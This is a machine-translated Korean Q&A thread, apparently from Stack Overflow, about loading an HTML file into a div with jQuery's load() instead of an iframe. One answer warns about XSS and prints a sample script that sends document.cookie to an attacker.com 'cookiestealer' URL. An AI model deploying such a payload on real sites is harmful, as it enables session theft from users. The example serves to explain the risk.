2012-06-30 4 views
0

저는 수백 가지 웹 사이트가 있다고 확신하면서이 작업을 수행하는 방법을 찾고 있었지만 모든 단어에 대한 검색이 제대로 이루어질 수 있도록 올바르게 말하면 안됩니다 그밖에.div에있는 html 파일을 표시합니다.

이렇게 여러 번 물어 본다면 유감입니다.

어쨌든, 내가 뭘 하려는지 div 안에 'page.html'페이지를로드하는 것입니다. 페이지에는 텍스트 만 있고 다른 것은 없습니다. 따라서 iframe을 사용하는 대신이 페이지를 div에로드하여 해당 페이지에있는 텍스트 만 표시하도록하고 싶습니다.

나는 내 검색 중에 발견 한 몇 가지 다른 것들을 시도했다;

$(document).ready(function() {  
    $("div").load("page.html") 
}); 

그러나 어떤 이유로 그 방법은 해당 div 내에있는 대신 페이지의 모든 텍스트를 변경했습니다. (나는 코딩에서 꽤 무서워서 아마 그 방법으로 어딘가에 잘못 갔을 것이다.)

그래서 누군가가 iframe을 사용하지 않고 div의 페이지 내용을로드하는 방법을 제안 할 수있다.

+0

겠습니까 정상 프레임이 허용 될이 링크를 시도? 그냥 평범한 div에 보안 위협 (슈퍼 쉬운 XSS (크로스 사이트 스크립팅)) 포즈. – C0deH4cker

답변

4

$('div')은 찾고있는 것 이상을 타겟팅 할 예정입니다. 특정 div 요소에 콘텐츠를로드하려는 경우 ID를 지정하고이를 대상으로 지정합니다.

<div id="pageContent"></div>

$(document).ready(function() { 
    $('#pageContent').load('page.html'); 
} 
+0

그 페이지를 추가하기 만하면됩니다.html은 doctype과 head, title 등이없는 일반 html이 있어야합니다. 제어 할 수 없다면 html을 변수에 넣고 $ (thatVariable) .find ('body')를 사용하여 귀하의 div에 콘텐츠. – Milimetric

+0

@Milimetric, jQuery 자체적으로 수행합니다. – 23W

2

짧은 답변 : 당신은 할 수 없습니다.

긴 대답 : 어렵지만 오류가 발생하고 보안 위험이 커질 수 있습니다. 그런 다음

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Embedded Page</title> 
</head> 
<body> 
    <div id="content"> 
    Something interesting here... 
    </div> 
</body> 
</html> 

: 여기, 그리고

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Page</title> 
</head> 
<body> 
    <div id="embedMe"></div> 
</body> 
</html> 

처음에 포함 할 페이지의 코드 :

은의이 당신이 포함 된 또 다른 하나를하고자하는 페이지입니다 가정 해 봅시다 그것이 포함되어있을 때 :

<!DOCTYPE html public> 
<html> 
<head> 
    <title>My Page</title> 
</head> 
<body> 
    <div id="embedMe"> 
    <!DOCTYPE html public> 
    <html> 
    <head> 
    <title>My Embedded Page</title> 
    </head> 
    <body> 
    <div id="content"> 
     Something interesting here... 
    </div> 
    </body> 
    </html> 
    </div> 
</body> 
</html> 

이 문제는 확인할 수 있습니다. 두 개의 html 요소와 두 개의 head 두 개의 body, 두 개의 title 및 두 개의 DOCTYPES 두 개의 요소가 있습니다. 이것은 호의적 인 예입니다. 공격자가 포함 된 페이지의 URL이 하나에 포함되는 변경할 수 있다고이 :

<script type="text/javascript"> 
window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie; 
</script> 

갑자기는, 사용자가 자신의 계정이 해킹하고, 책임이 sholders에 도착 갖는 불평

. 이것은 XSS의 간단한 예이며, 실제 공격자는 XSS를 훨씬 더 잘 숨길 수 있습니다. 제발, 그냥 iframe을 사용하십시오. 그것이 그들이 만들어진 이유입니다.

+0

', , ,